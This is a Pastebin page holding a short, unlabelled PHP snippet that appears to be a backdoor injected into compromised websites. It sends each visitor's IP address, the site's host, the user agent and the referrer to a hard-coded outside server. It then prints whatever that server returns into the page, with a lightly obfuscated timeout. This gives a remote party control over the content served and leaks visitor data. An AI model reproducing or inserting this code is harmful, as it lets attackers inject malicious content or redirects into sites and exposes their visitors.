rintaun

Untitled

Nov 14th, 2011
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.53 KB | None | 0 0
  1. <?php
  2. $ip="91.196.216.64";
  3. $url = 'http://' . $ip . '/btt.php?ip=' . $_SERVER['REMOTE_ADDR'] . '&host=' . $_SERVER['HTTP_HOST'] . '&ua=' . urlencode($_SERVER['HTTP_USER_AGENT']) . '&ref=' . $_SERVER['HTTP_REFERER'];
  4. if(function_exists('curl_version')){
  5.     $ch = curl_init($url);
  6.     curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  7.     curl_setopt($ch,CURLOPT_HEADER,round(0));
  8.     curl_setopt($ch,CURLOPT_TIMEOUT,round(0+0.75+0.75+0.75+0.75));
  9.     $re = curl_exec($ch);
  10.     curl_close($ch);
  11. }
  12. else{
  13.     $re = file_get_contents($url);
  14. }
  15. echo $re;
Advertisement
Add Comment
Please, Sign In to add comment